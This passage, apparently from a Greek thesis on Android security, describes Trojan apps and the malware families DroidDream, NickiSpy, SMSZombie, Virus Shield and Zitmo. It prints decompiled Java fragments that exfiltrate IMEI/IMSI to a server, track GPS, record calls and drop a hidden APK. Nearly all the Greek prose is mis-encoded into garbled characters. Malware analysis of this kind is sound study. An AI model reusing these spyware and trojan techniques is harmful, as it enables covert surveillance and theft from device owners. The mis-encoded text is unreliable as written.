εθαξκνγήο θαζψο επίζεο πσο ην ίδην ην πξφγξακκα ιεηηνπξγεί πάλσ ζε θάπνηα θελά 

αζθαιείαο ηα νπνία δελ είλαη γλσζηά αθφκα, νπφηε εάλ αλνίμνπλ ηνλ θψδηθα ,ε 

επφκελε έθδνζε ζα θιείζεη απηέο ηηο ηξχπεο αζθαιείαο. Αμίδεη λα ζεκεησζεί πσο ζηηο 

ξπζκίζεηο ηνπ Kingo δίλεηαη ε δπλαηφηεηα αλαβάζκηζεο ζε έθδνζε Pro, ζην Google 

Play Store, κε ρξεκαηηθφ αληίηηκν 2,49 €, ην νπνίν δίλεηαη γηα ηελ ζηήξημε ηεο νκάδαο 

πνπ αλαπηχζζεη ηελ εθαξκνγή, αιιά θαη μεθιεηδψλεη θάπνηα πξφζζεηα (πξνζηαζία κε 

PIN, Over the Air survival mode θαη άιια). 

 

 

 

Εηθόλα 20 Η Αξρηθή Οζόλε ηνπ 

Z4Root 

Εηθόλα 21 Η Αξρηθή Οζόλε ηνπ Kingo 

Android Root 

Εηθόλα 22 Ρπζκίζεηο ηνπ 

SuperSU 

http://www.kingoapp.com/android-root.htm


27 
 

 

Trojan Apps   
Τπάξρνπλ δηάθνξα είδε θαθφβνπισλ πξνγξακκάησλ θαη 

εθαξκνγψλ. Ζ απινχζηεξε πεξίπησζε θαθφβνπινπ ινγηζκηθνχ είλαη 

έλα θαζαξά θαθφβνπιν πξφγξακκα πνπ εμαπαηά ηνλ ρξήζηε 

θάλνληαο ηνλ λα πηζηέςεη φηη πξφθεηηαη γηα άιιε λφκηκε εθαξκνγή 

ρξεζηκνπνηψληαο ηελ ίδηα εηθφλα κε απηήλ. Αλ βέβαηα ε εθαξκνγή 

δελ έρεη θάπνηα θαλεξή ιεηηνπξγηθφηεηα, εχθνια εληνπίδεηαη σο 

χπνπηε.  

Έλαο άιινο ηχπνο θαθφβνπινπ ινγηζκηθνχ ελζσκαηψλεηαη κέζα 

ζηελ λφκηκε εθαξκνγή, ζε κηα ηξνπνπνηεκέλε έθδνζε ηεο αξρηθήο 

εθαξκνγήο. Οη θαθφβνπιεο εθαξκνγέο κε απηά ηα ραξαθηεξηζηηθά 

ζπρλά απνθαινχληαη Trojan apps. 

Σν κεγαιχηεξν κέξνο ησλ Android malwares ρξεζηκνπνηνχλ απηή ηε 

κέζνδν γηα λα ελζσκαηψζνπλ θαη λα εθηειέζνπλ θαθφβνπιν θψδηθα ζε ζπλδπαζκφ κε ηε λφκηκε 

εθαξκνγή, ε νπνία ζα κπνξνχζε λα είλαη νηηδήπνηε, π.ρ. ηαπεηζαξία ή έλα δεκνθηιέο παηρλίδη.  

Ζ ελζσκάησζε θαη ε εθηέιεζε θαθφβνπινπ θψδηθα ζε apk αξρεία είλαη εχθνιε θαη ππάξρνπλ ηα 

εξγαιεία πνπ ην επηηξέπνπλ. Σα αξρεία εθαξκνγψλ Android (apk) είλαη απιά PK αξρεία (φπσο JAR ή 

αξρεία ZIP), πξάγκα πνπ ζεκαίλεη φηη κπνξνχλ λα αλνίμνπλ κε νπνηνδήπνηε εξγαιείν απνζπκπίεζεο 

αξρείσλ, φπσο ην 7-zip. Σν απνζπκπηεζκέλν apk αξρείν έρεη δπν ζπζηαηηθά: 

Manifest  Έλα θσδηθνπνηεκέλν αξρείν XML πνπ θαζνξίδεη βαζηθέο πιεξνθνξίεο ζρεηηθά κε ηελ 

εθαξκνγή ηνπ ζπζηήκαηνο Android, γηα παξάδεηγκα, ζηνηρεία ινγηζκηθνχ, καδί κε ηα δηθαηψκαηα 

πνπ ε εθαξκνγή απαηηεί λα εθηεινχληαη ζηε ζπζθεπή . 

Classes.dex  Σν εθηειέζηκν αξρείν Dalvik ηεο εθαξκνγήο 

ε αληίζεζε κε ηα παξαδνζηαθά πξνγξάκκαηα ππνινγηζηψλ, νη εθαξκνγέο Android δελ έρνπλ έλα 

εληαίν ζεκείν εθθίλεζεο ηεο εθηέιεζεο, δειαδή φηαλ έρεη εγθαηαζηαζεί κηα εθαξκνγή, ε εθηέιεζε 

κπνξεί λα αξρίζεη ζε δηάθνξα κέξε ηνπ πξνγξάκκαηνο. Γηα παξάδεηγκα, κηα ζπγθεθξηκέλε ιεηηνπξγία 

εθηειείηαη φηαλ ν ρξήζηεο αλνίγεη ην app παηψληαο ην αληίζηνηρν εηθνλίδην, αιιά δηαθνξεηηθφο  

θψδηθαο εθηειείηαη φηαλ ε ζπζθεπή επαλεθθηλεί ή πξνθχπηνπλ αιιαγέο ζηε ζχλδεζε κε ην δίθηπν.  

 

Γηα λα θαηαλνήζνπκε πψο γίλεηαη απηφ, είλαη ζεκαληηθφ λα θαηαλνήζνπκε ζπγθεθξηκέλα ζπζηαηηθά 

ηεο εθαξκνγήο : 

Broadcast receiver: Δπηηξέπεη ζηηο εθαξκνγέο λα ιακβάλνπλ " πξνζέζεηο -intents" απφ ην 

ζχζηεκα. ηαλ ζπκβαίλεη έλα ζπγθεθξηκέλν γεγνλφο ζην ζχζηεκα (π.ρ. ιήςε SMS), έλα κήλπκα 

κεηαδίδεηαη ζε φιεο ηηο εθαξκνγέο πνπ ηξέρνπλ ζην ζχζηεκα. Αλ απηφ έρεη δεισζεί ζην Manifest 

ε εθαξκνγή κπνξεί κε ηε ιήςε λα εθηειέζεη θάπνηα ζπγθεθξηκέλε ιεηηνπξγία.  

Services: Δπηηξέπεη ζηηο εθαξκνγέο λα εθηειέζνπλ θψδηθα ζην παξαζθήλην, ρσξίο λα εκθαλίδεηαη 

ζην ρξήζηε νηηδήπνηε ζην γξαθηθφ πεξηβάιινλ. 

 

Ο ηξφπνο πνπ ρξεζηκνπνηνχλ ηα πεξηζζφηεξα Android malware είλαη ζε κηα θαζφια λφκηκε 

εθαξκνγή, λα απνζπλζέηνπλ ην dex αξρείν θαη λα απνθσδηθνπνηνχλ ην Manifest. ηε ζπλέρεηα 

πξνζζέηνπλ ηνλ θαθφβνπιν θψδηθα, αλαζπλζέηνπλ ηνλ dex, θσδηθνπνηνχλ ην manifest, θαη 

δεκηνπξγνχλ ην ηειηθφ αξρείν apk. Έλα απφ ηα εξγαιεία γηα ηελ εθηέιεζε απηήο ηεο δηαδηθαζίαο 

είλαη apktool (code.google.com/p/android-apktool/). 

 

DroidDream 
 
πλήζσο ηα κνιπζκέλα αξρεία δηαθηλνχληαη απφ αλεμάξηεηεο εθαξκνγέο ηχπνπ marketplace 

(Samsung Apps ,GetJar θαη άιια) ή πξέπεη λα εγθαηαζηαζνχλ απφ ηνλ ίδην ηνλ ρξήζηε. Σν 

DroidDream φκσο αξρηθά δηαθηλήζεθε απφ ην Google Play. Αξθεηέο  εθαξκνγέο πέξαλ ππνςίαο 

κνιχλζεθαλ απφ απηφ ην Trojan θαη επαλαηνπνζεηήζεθαλ ζηελ αγνξά .Ο ρξήζηεο εκπηζηεπφκελνο 

ηελ εθαξκνγή , θαζψο πξνεξρφηαλ απφ έκπηζην θαηαζθεπαζηή , θαηέβαζε ηηο εθαξκνγέο απηέο θαη 

Εηθόλα 23 Trojan ζην Android 

http://apps.samsung.com/venus/main/getMain.as
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πξνζβιήζεθε.  

ηελ εγθαηάζηαζε ηνπ πξνγξάκκαηνο  

(αξρείν manifest) ν ρξήζηεο θαιείηαη λα 

δψζεη δηθαηψκαηα πνιχ πςειφηεξα απφ 

απηά πνπ δεηά ε θαλνληθή εθαξκνγή 

.Παξφια απηά αξθεηνί ρξήζηεο δελ 

έδσζαλ ζεκαζία ζε απηφ ην αλεζπρεηηθφ 

ζεκείν ηεο εγθαηάζηαζεο. 

Μφιηο γίλεη εθθίλεζε ηεο εθαξκνγήο ην 

πξφγξακκα δεκηνπξγεί κηα δηαδηθαζία κε 

ην φλνκα setting ε νπνία επηρεηξεί λα 

ζηείιεη πιεξνθνξίεο γηα ηελ ζπζθεπή ζε 

έλαλ απνκαθξπζκέλν server ηνπ νπνίνπ 

ε δηεχζπλζε πξνυπάξρεη ζην θψδηθα ηνπ 

πξνγξάκκαηνο Με ηελ ζχλδεζή ηνπ ζηνλ 

server κεηαθέξεη ηα ζηνηρεία ηεο 

ζπζθεπήο (IMEI IMSI Partner θαη 

ProductID) .Αθνινπζέη έλα θνκκάηη 

θψδηθα απφ ην πξφγξακκα 

Σν κεηέπεηηα βήκα είλαη λα rootάξεη ηελ 

ζπζθεπή .Απηφ γίλεηαη κε δχν ηξφπνπο 

.Ο έλαο είλαη κε ηελ ρξήζε ηνπ 

RageAgainstTheCage (θελφ αζθαιείαο 

ηνπ Android Debug Bridge Daemon) ή 

κέζσ ηνπ exploid (θελφ αζθαιείαο ηνπ 

udev) .Καη νη δχν επηζέζεηο είλαη δπλαηέο 

απέλαληη ζε ζπζθεπέο κε έθδνζε Android 

παιαηφηεξε ηνπ 2.2.2 (Froyo) .  

Με ην πνπ απνθηήζεη δηθαηψκαηα δηαρεηξηζηή ,ην DroidDream εγθαζηζηά ην sqlib.db (κηα βάζε 

δεδνκέλσλ κε ζηνηρεία εθαξκνγψλ θαη αλαβαζκίζεσλ) ζην 

/system/app?DownloadProvidersManager.apk.Πιένλ κπνξεί λα εγθαζηζηά νηηδήπνηε ρξεηάδεηαη ρσξίο 

λα εηδνπνηεζεί ν ρξήζηεο. 

Με απηφλ ηνλ ηξφπν επίζεζεο ην DroidDream έρεη πιήξε έιεγρν ζηελ ζπζθεπή .Μπνξεί λα θιέςεη 

πιεξνθνξίεο γηα ην ινγαξηαζκφ ηνπ ρξήζηε ή θαη SMS κελχκαηα. 

Σα κνιπζκέλα πξνγξάκκαηα αθαηξέζεθαλ απφ ην Google play κε ην πνπ έγηλε γλσζηή ε παξαπνίεζε 

ηνπο ,αιιά ε Symantec ππνιφγηζε φηη ε νη ρξήζηεο πνπ κνιχλζεθαλ ήηαλ ζε αξηζκφ απφ 50 κέρξη 200 

ρηιηάδεο .Σν DroidDream ζπλέρηζε λα βξίζθεηαη ζε θάπνηεο εθαξκνγέο ηξίησλ marketplaces. 

 

 

 

 
public static void postUrl(String paramString, Context paramContext) throws  

 IOException 

{ 

Formatter localFormatter = new Formatter(); 

Object[] arrayOfObject = new Object[4];  

arrayOfObject[0] = "502";  

arrayOfObject[1] = "10001"; 
arrayOfObject[2] = adbRoot.getlMEI(paramContext); 

arrayOfObject[3] = adbRoot.getlMSI(paramContext); 

localFormatter.format("<?xml version=\"1.0\" encoding=\"UTF- 
8\"?><Request><Protocol>l.0</Protocol><Command>0</Command><ClientInfo> 

<Partner>%s</Partner><ProductId>%s</ProductId><IMEI>%s</IMEI><IMSI>%s</IMSI>  

</ClientInfo></Request>", arrayOfObject) ; 

byte[] arrayOfBytel = localFormatter.toString().getBytes();  

adbRoot.crypt(arrayOfBytel) ; 

Εηθόλα 24 Δηθαηώκαηα ηνπ DroidDream 
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HttpURLConnection localHttpURLConnection = (HttpURLConnection)new  

URL(paramString).openConnection(); 

localHttpURLConnection.setDoOutput(true);  

localHttpURLConnection.setDoInput(true) ;  

localHttpURLConnection.setRequestMethod("POST"); 

OutputStream localOutputStream = localHttpURLConnection.getOutputStream(); 

 

NickiSpy 
 
Σν malware απηφ θάλεη ρξήζε  ησλ δπλαηνηήησλ ελφο smartphone ζην έπαθξν. Παθεηαξηζκέλν κέζα 

ζε δεκνθηιή πξνγξάκκαηα, παξακέλεη αλελεξγφ κέρξη λα ιάβεη ην 

android.intent.action.BOOT_COMPLETED intent απφ ην ζχζηεκα ,κέρξη δειαδή λα γίλεη 

επαλεθθίλεζε ηεο ζπζθεπήο. Με ηελ ελεξγνπνίεζε ηνπ ζηέιλεη έλα κήλπκα sms ζε κηα δηεχζπλζε 

πνπ βξίζθεηαη γξακκέλε ζηνλ θψδηθα ηεο εθαξκνγήο ,ζην νπνίν πεξηέρεηαη ην ΗΜΔΗ ηεο ζπζθεπήο. 

Έπεηηα αξρίδεη λα ζπιιέγεη πιεξνθνξίεο γηα ηνλ ρξήζηε ή πεξηκέλεη πξψηα λα δερζεί έλα sms κε ηελ 

αλάινγε εληνιή ,αλάινγα ηελ έθδνζε ηνπ malware. 

Ο ηξφπνο ιεηηνπξγίαο ηνπ είλαη κέζσ εληνιψλ sms. ην MainService πεξηγξάθεηαη ε θάζε πεγή θαη 

ν ηξφπνο παξαθνινχζεζεο ηνπ θηλεηνχ κέζσ απηήο. Σα δεδνκέλα απνζηέιινληαη ζε έλαλ 

απνκαθξπζκέλν Server  ,ηνπ νπνίνπ ε δηεχζπλζε θαη ξπζκίζεηο πεξηγξάθνληαη ζε έλα XML αξρείν 

πνπ νλνκάδεηαη XM_ALL_Setting ζην SocketService. 

Σα sms θαηαγξάθνληαη κε ην XM_SmsListener, ηα ερεηηθά δεδνκέλα ζηα XM_CallListener 

,XM_CallRecorderService θαη RecordService ,θαη νη ηνπνζεζία κε ην GpsService. Πην 

αλαιπηηθά, ην GpsService ρξεζηκνπνηεί ην LocationManager ηνπ Android γηα λα ιάβεη ηελ 

ηνπνζεζία: 

 
this.locationManager = ((LocationManager)getSystemService("location")); 

Criteria localCriteria = new Criteria(); 

localCriteria.setAccuracy(1) ; 

localCriteria.setAltitudeRequired(false) ; 

localCriteria.setBearingRequired(false) ; 

localCriteria.setCostAllowed(true); 

localCriteria.setPowerRequirement(1) ; 

String str = this.locationManager.getBestProvider(localCriteria, true); Location 

localLocation = null; 

  if (str != null) 
{ 

this.locationManager.requestLocationUpdates(str, 60000 * 

Integer.parselnt(this.SERVER_TIME), Integer.parselnt(this.SERVER_MOVE), 

this.locationListener); 

localLocation = this.locationManager.getLastKnownLocation(str); 
} 
if (localLocation != null) 

{ 
double dl = localLocation.getLongitude();  
double d2 = localLocation.getLatitude(); 

} 

 
 Σν XM_SmsListener δεκηνπξγεί θαη ρξεζηκνπνηεί έλα ContentObserver γηα λα παξαθνινπζεί ην 

ContentProvider ησλ sms.Σέινο ην XM_CallRecorderService επηβιέπεη ην ζχζηεκα γηα 

θιήζεηο ρξεζηκνπνηψληαο έλα PhoneStateListener.  Με ηνλ εληνπηζκφ λέαο θιήζεηο θαιεί ην 

RecordService γηα λα θαηαγξάςεη ηελ θιήζε ζε έλα ερεηηθφ αξρείν .Απηφ επηηπγράλεηαη κε ηελ 

ρξήζε ελφο MediaRecorder πνπ θαηαγξάθεη ην κηθξφθσλν (Υξήζε ηνπ setAudioSource() κε 

ηηκή 1, ε νπνία ηζνχηαη κε MediaRecorder.AudioSource.MIC). Με ηελ εγγξαθή ηνπ αξρείνπ 

εθηειείηαη ην XM_CallListener ην νπνίν απνζηέιιεη ην ερνγξαθεκέλν αξρείν, θαζψο θαη 

πιεξνθνξίεο γηα ηελ θιήζε πνπ απνζπά απφ ην android.provider.CallLog, ζηνλ 

απνκαθξπζκέλν Server κέζσ ηνπ SocketService, φπσο καο δείρλεη θαη ν παξαθάησ θψδηθαο: 
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public void callrecord() 

 { 
 this.fileint = (1 + this.fileint); 

if (this.recorder == null) 
 this.recorder = new MediaRecorder(); 
this.startRecTime = System.currentTimeMillis(); 
this.recorder.setAudioSource(1) ; 
this.recorder.setOutputFormat(1); 
this.recorder.setAudioEncoder(1) ; 
if (!new File(this.callrpath).exists() )  
  new File(this.callrpath).mkdirs(); 
MediaRecorder localMediaRecorder = this.recorder; 
StringBuilder localStringBuilder = new 
StringBuilder(String.valueOf(this.callrpath)).append(this.filetime); 
Object[] arrayOfObject = new Object[l]; 
arrayOfObject[0] = Integer.valueOf(this.fileint); 
localMediaRecorder.setOutputFile(String.format("%03d", arrayOfObject) + ".amr"); 
this.recorder.prepare(); 
this.recorder.start(); 
new Thread(this.mTasks),start(); 
return; 

 } 

Κάπνηεο εθδφζεηο ηνπ malware ερνγξαθνχλ φηαλ ην θηλεηφ θιεηδψλεη. 

Σν Android 2.3 αθαίξεζε ηελ ηθαλφηεηα κηα εθαξκνγή λα αιιάδεη ηελ θαηάζηαζε ηνπ ηειεθψλνπ 

ρσξίο ηελ άδεηα ηνπ ρξήζηε ,νπφηε ε επίζεζε απηή είλαη πηζαλή κφλν ζε παιαηφηεξεο εθδφζεηο.  

Σν NickySpy δελ βξέζεθε πνηέ ζε εθαξκνγή ηνπ Google Play Store αιιά ζε δηάθνξα άιια 

θαηαζηήκαηα εθαξκνγψλ. Αλ θαη ρσξίο ηελ δπλαηφηεηα rooting ηνπ θηλεηνχ ηειεθψλνπ ,φπσο ην 

DroidDream , κπνξεί λα πξνθαιέζεη κεγάιε δηαξξνή ζεκαληηθψλ θαη πξνζσπηθψλ δεδνκέλσλ κέζσ 

αδεηψλ άιισλ εθαξκνγψλ. Γηα άιιε κηα θνξά ε θαιχηεξε ιχζε παξακέλεη ε ζπλερείο αλαβάζκηζε 

ηνπ ιεηηνπξγηθνχ θαη ε ηδηαίηεξε πξνζνρή ζηηο άδεηο πνπ δεηά κηα εθαξκνγή θαηά ηελ εγθαηάζηαζε. 

 

SMSZombie 
 
Σν SMSZombie βξέζεθε ζε έλα δεκνθηιέο θαηάζηεκα εθαξκνγψλ ηεο Κίλαο. ηνρνπνηνχζε 

Κηλέδνπο  ρξήζηεο θηλεηψλ ηειεθψλσλ Android θαη ηνπο ρξέσλε κέζσ ηνπ «ζπζηήκαηνο πιεξσκήο 

κε sms» ηεο China Mobile. 

Σν θαθφβνπιν απηφ θνκκάηη θψδηθα θξπβφηαλ ζε άιιεο εθαξκνγέο γηα wallpapers. Καηά ηελ 

εγθαηάζηαζε δελ δεηνχληαη επηπιένλ δηθαηψκαηα, θάηη ην νπνίν έθαλε ηελ κνιπζκέλε εθαξκνγή 

αμηφπηζηε θαη αξθεηά δχζθνιν ηνλ εληνπηζκφ ηνπ θαθφβνπινπ θψδηθα. Μφιηο εγθαηαζηαζεί θαη 

ρξεζηκνπνηεζεί ε εθαξκνγή σο wallpaper, ελεξγνπνηείηαη ην jifenActivity. Μέζσ απηνχ 

εμάγεηαη απφ ηνλ θάθειν assets έλα δεχηεξν APK: 

 

 
String str = jifenActivity.this.getFilesDir().getAbsolutePath() + "/ a33.jpg"; 

jifenActivity.this.retrieveApkFromAssets(jifenActivity.this, "a33.jpg", str) ; 

public boolean retrieveApkFromAssets(Context paramContext, String paramStringl, 

String paramString2) 

 File localFile = new File(paramString2); 

 if (!localFile.exists()) 

 { 

localFile.createNewFile(); 

InputStream locallnputStream = paramContext.getAssets().open(paramStringl); 

FileOutputStream localFileOutputStream = new FileOutputStream(localFile); 

byte[] arrayOfByte = new byte[1024]; 
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int k = locallnputStream.read(arrayOfByte); 

if (k   1) 
{ 

localFileOutputStream.flush(); 

localFileOutputStream.close(); 

locallnputStream.close(); break; 
} 
localFileOutputStream.write(arrayOfByte, 0, k); 

} 
} 

 
 Με ηελ εμαγσγή ηνπ έλα θνπηί δηαιφγνπ παξνπζηάδεηαη ζηνλ ρξήζηε πνπ ηνλ πξνηξέπεη λα 

εγθαηαζηήζεη θαη ην δεχηεξν πξφγξακκα γηα λα θεξδίζεη 100 πφληνπο. Ζ επηινγή «Αθχξσζε» είλαη 

απελεξγνπνηεκέλε, ψζηε λα αλαγθάζεη ηνλ ρξήζηε ζηελ απνδνρή ηνπ θαθφβνπινπ πξνγξάκκαηνο. 

Αιιά θαη αλ ν ρξήζηεο ην παξαθάκςεη ην παξάζπξν δηαιφγνπ εκθαλίδεηαη μαλά κεηά απφ ιίγν 

,θαζψο ην jifenActivity ειέγρεη αλά κεξηθά δεπηεξφιεπηα γηα ηελ εγθαηάζηαζε ηνπ APK: 

 

localBuilder.setNegativeButton("", new Dialoglnterface.OnClickListener () 

{ 

public void onClick(Dialoglnterface paramDialoglnterface, int paramlnt) 

{ 
} 

}); 

 

 
Με ηελ απνδνρή ηνπ ρξήζηε εκθαλίδεηαη ε πξαγκαηηθή 

εθαξκνγή θαιψληαο ηνλ ρξήζηε λα δψζεη δηθαηψκαηα ζε 

φινπο ηνπο ηνκείο. Μεηά ηελ εγθαηάζηαζε ηνπ ην 

SMSZombie πξνζπαζεί λα γίλεη administrator ηεο ζπζθεπήο, 

κέζσ ελφο αθφκα παξαζχξνπ δηαιφγνπ πξνο ηνλ ρξήζηε. 

ηαλ γίλεη είλαη πξαθηηθά αδχλαην λα απεγθαηαζηαζεί 

θαζψο ην Android απαγνξεχεη ηελ αθαίξεζε εθαξκνγήο κε 

δηθαηψκαηα Administrator. Πιένλ έρεη δηθαηψκαηα φπσο λα 

αιιάμεη θσδηθνχο ζηελ ζπζθεπή λα θιεηδψλεη ηελ ζπζθεπή 

,αθφκα θαη λα ζβήζεη φια ηα δεδνκέλα απφ απηήλ. 

Αθνχ έρεη εγθαηαζηαζεί πιήξσο θαη πάξεη ππφ ηνλ έιεγρν 

ηνπ ηελ ζπζθεπή, ην SMSZombie ζηέιλεη έλα κήλπκα ζε 

έλαλ αξηζκφ ηειεθψλνπ απνζεθεπκέλν ζηνλ θψδηθα ηνπ 

πξνγξάκκαηνο δειψλνληαο αλ ε ζπζθεπή είλαη rooted ή φρη. 

Σν ίδην δελ έρεη ηελ δπλαηφηεηα λα θάλεη root κηα ζπζθεπή 

αιιά ειέγρεη αλ είλαη ήδε ρξεζηκνπνηψληαο κηα εληνιή κε 

su .Γεκηνπξγείηαη έλα XML αξρείν πνπ νλνκάδεηαη 

phone.xml, ην νπνίν πεξηέρεη ηνλ αξηζκφ πνπ ην 

SMSZombie ζα ζηέιλεη κελχκαηα θαζψο θαη κηα ιίζηα απφ 

ιέμεηο-θιεηδηά.  

Έπεηηα ζηέιλεη φια κελχκαηα ηεο ζπζθεπήο ζηνλ αξηζκφ 

ηνπ phone.xml. ηαλ έλα λέν κήλπκα ιεθζεί ειέγρεηαη εάλ 

πεξηέρεη κία απφ ηηο ιέμεηο-θιεηδηά. ηελ πεξίπησζε πνπ 

πεξηέρεη, πξνσζείηαη ζηνλ αξηζκφ θαη ζβήλεηαη απφ ηελ 

ζπζθεπή, αιιηψο απιψο πξνσζείηαη ρσξίο λα δηαγξαθέη. 

Απηφ επηηξέπεη λα θξχβνληαη ηα κελχκαηα πνπ πεξηέρνπλ ηηο ρξεψζεηο κέζσ ηνπ «ζπζηήκαηνο 

πιεξσκήο κε sms» απφ ηνλ ρξήζηε. 

 

Εηθόλα 25 Δηθαηώκαηα ηνπ SMSZombie 
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Virus shield 
 
ηηο 28 Μαξηίνπ 2014 αλέβεθε ζην Google Play Store κία εθαξκνγή κε ην φλνκα Virus Shield. Ζ 

εθαξκνγή αλήθε ζηελ εηαηξία Deviant Solutions θαη ππνζηήξηδε ηελ ιεηηνπξγία ηεο εθαξκνγήο σο 

antivirus κε έλα θιηθ. Κφζηηδε 4 δνιάξην θαη ήηαλ απάηε. 

 

Μέζα ζε ειάρηζην ρξνληθφ δηάζηεκα ε 

εθαξκνγή έθηαζε ζηηο θνξπθαίεο ππφ 

πιεξσκή εθαξκνγέο ηνπ θαηαζηήκαηνο ηεο 

Google θαη ελ ηέιε ζηελ πξψηε ζέζε, νη 

ρξήζηεο έδεημαλ εκπηζηνζχλε ζην 

πξφγξακκα ,ην νπνίν μεπέξαζε ηηο 10.000 

πσιήζεηο ,θάπνηνη ιέλε θαη ηηο 30.000. 

 

 

 

 

 

 

Παξφια απηά ε εθαξκνγή ην κφλν πνπ έθαλε ήηαλ κεηά 

απφ έλα θιίθ λα άιιάδεη απφ έλα Υ ,ζε έλα ηζεθ φπσο 

εμάιινπ θαίλεηαη θαη ζηνλ παξαθάησ θψδηθα: 

 

 

 

 

 

 

 

 

 

 
private void toggleShield() { 
ImageView enableButton = (ImageView) findViewById(R.id.enableButton); 

  boolean isEnabled = this.settings.getBoolean("isEnabled", false); 
  Editor editor = this.settings.edit(); 
  MenuItem status = this.menu.findItem(R.id.action_status); 
  if (isEnabled) { 
   editor.putBoolean("isEnabled", false); 
   status.setTitle(R.string.action_status_disabled);                        
   enableButton.setImageResource(R.drawable.shield_disabled); 
  } else { 
   editor.putBoolean("isEnabled", true); 
   status.setTitle(R.string.action_status_enabled); 
   enableButton.setImageResource(R.drawable.shield_enabled); 
  } 
  editor.commit(); 
} 

 
 

Εηθόλα 26 Σν Virus Shield κε ηνλ αξηζκό ησλ Downloads 

Εηθόλα 28 ηελ Αξρή.. 
Εηθόλα 27 Καη Μεηά 
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Ζ εθαξκνγή ζην θαηάζηεκα είρε πεηχρεη βαζκνινγία 4.7/5 θαη ,αθφκα θαη αλ ππνζέζνπκε φηη ηα 

αξρηθά ζρφιηα γηα ην πξφγξακκα ήηαλ πξνπαγαλδηζηηθά, ε αιήζεηα είλαη πσο έλα κεγάιν κέξνο 

πίζηεςε πσο ην πξφγξακκα ιεηηνπξγνχζε, πηζαλφηαηα ην πξφηεηλε θαη ζε άιινπο. 

 

 

 

 

ηαλ ε Google police έθαλε decompile ζην πξφγξακκα 

θαη απνθάιπςε ηελ πξαγκαηηθή ιεηηνπξγία ηνπ, ζηηο 6 

Απξηιίνπ, ην πξφγξακκα είρε ήδε θηάζεη ζηελ πξψηε 

ζέζε ησλ πιεξσκέλσλ εθαξκνγψλ ηνπ θαηαζηήκαηνο ηεο 

Google. 

Μεηά ηελ απνθάιπςε ηεο απάηεο ε Google απέθιεηζε ην 

πξφγξακκα απφ ην θαηάζηεκα ηεο, δηέγξαςε ηελ εηαηξία 

απφ ηνπο πξνγξακκαηηζηέο εθαξκνγψλ θαη επέζηξεςε 

ζηνπο ρξήζηεο πνπ αγφξαζαλ ηελ εθαξκνγή 5 δνιάξηα. 

 

Ο δεκηνπξγφο ηεο εθαξκνγήο Jesse Carter, έλαο 

δεθαεθηάρξνλνο ηεμαλφο γλσζηφο Hacker θάπνησλ 

MMORPGs –ν ίδηνο αξλείηαη απηή ηελ ηδηφηεηα ηνπ-, δήισζε πσο φηαλ δηάβαζε ηελ αλαθνξά ηνπ 

Android Police αληηιήθηεθε ην ιάζνο ηνπ θαη θαηέβαζε ηελ εθαξκνγή απφ ην θαηάζηεκα.  χκθσλα 

κε ηνλ ίδην ε έθδνζε ηνπ πξνγξάκκαηνο πνπ αλέβεθε δελ ήηαλ ε ζσζηή, ήηαλ απιά κηα αξρηθή 

έθδνζε. Πξνζπάζεζε λα δηνξζψζεη ην ιάζνο απηφ αιιά ε Google είρε ήδε αθπξψζεη ηνλ ινγαξηαζκφ 

ηνπ. 

Παξφια απηά δελ εμεγεί ν ίδηνο πσο ην πξφγξακκα έθαλε αλαβάζκηζε ζηελ έθδνζε 2.2 ρσξίο λα 

δηνξζσζεί θαη πάιη ην ιάζνο ηνπ. 

 

 

 

 

Zitmo 
 
Μεηά ηελ αλαθάιπςε ηνπ Trojan γλσζηνχ 

σο Zeus νη ηξάπεδεο δεκηνχξγεζαλ ην 

δηπιφ ζχζηεκα ηαπηνπνίεζεο γηα λα 

εκπνδίζνπλ ηηο επηζέζεηο ηχπνπ Man-in-

The-Middle. Με ην δηπιφ ζχζηεκα 

ηαπηνπνίεζεο ν ρξήζηεο, κεηά ηελ 

εηζαγσγή ηνπ ζην ζχζηεκα, γηα λα 

πξαγκαηνπνηήζεη κηα ζπλαιιαγή πξέπεη 

λα εηζαρζεί έλαο θσδηθφο (mTAN - 

mobile transaction authentication number) 

πνπ παξάγεηαη εηδηθά γηα ηελ ζπλαιιαγή. 

Απηφο ν θσδηθφο γίλεηαη δηαζέζηκνο ζηνλ 

ρξήζηε κέζσ κηαο εηδηθήο ζπζθεπήο ή 

κέζσ κελχκαηνο ζην θηλεηφ ηνπ. 

Σν Zitmo, ζπλδπαδφκελν κε ην Zeus, 

κπνξεί λα δεκηνπξγήζεη ην απαξαίηεην 

θελφ αζθαιείαο ζην ζχζηεκα ηεο 

ηξάπεδαο. Ζ επίζεζε αξρίδεη ζηνλ 

ππνινγηζηή φπνπ ηνπνζεηείηαη ην Zeus. 

Έπεηηα πξνηξέπεη ηνλ ρξήζηε λα 

εγθαηαζηήζεη ζην θηλεηφ ηνπ κηα 

Εηθόλα 29 Σν Virus Shield Πξώην ζην 

Google Play 

Εηθόλα 30 Φεπηηθν activation  key ηνπ Zitmo 
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εθαξκνγή γξακκέλε απφ ηελ “Trusteer”,πξαγκαηηθή εηαηξία αζθαιείαο, ε νπνία φκσο δελ ζρεηίδεηαη 

κε ην πξφγξακκα, παξαπνηψληαο παθέηα HTTP πνπ απνζηέιιεη ε ηξάπεδα.  

Σν πξφγξακκα παξνπζηάδεηαη σο Trusteer Rapport. Με απηφλ ηξφπν, θαζψο θαη κε ην γεγνλφο φηη 

πξνέξρεηαη απφ κηα θαηλνκεληθά αζθαιή HTTPS πεγή, παξαπιαλνχλ ηνλ ρξήζηε ζην λα 

εγθαηαζηήζεη ηελ θαθφβνπιε εθαξκνγή. Μεηέπεηηα εθδφζεηο (Spitmo, Citmo θ.ν.θ) αιιάμαλ ηελ 

εηαηξία ζε «Android Security Suite Premium» θαη αξγφηεξα ζε «Zertificat». 

Μεηέπεηηα ην πξφγξακκα δεηά απφ ην ρξήζηε λα εηζάγεη ηνλ  θσδηθφ πνπ παξάγεη, θάηη ρσξίο 

πξαθηηθή ζεκαζία ,απιψο γηα λα παξαπιαλήζεη ηνλ ρξήζηε γηα ηνπο ζθνπνχο ηνπ. Ο θσδηθφο πνπ 

παξάγεη είλαη ην IMEI ηεο ζπζθεπήο (ηε θσηνγξαθία πάλσ είλαη φια κεδεληθά θαζψο πάξζεθε απφ 

εμνκνησηή Android). ηνλ θψδηθα πνπ αθνινπζεί βιέπνπκε ηελ παξαγσγή ηνπ θσδηθνχ πνπ 

δεκηνπξγείηαη κέζσ ηνπ IMEI. 

 
public void onCreate(Bundle paramBundle) 

{ 

super.onCreate(paramBundle); 

setContentView(2130903040); 

TelephonyManager localTelephonyManager = (TelephonyManager)            

getSystemService("phone"); 

String str = null; 

if (localTelephonyManager != null) 

str = localTelephonyManager.getDeviceld(); 

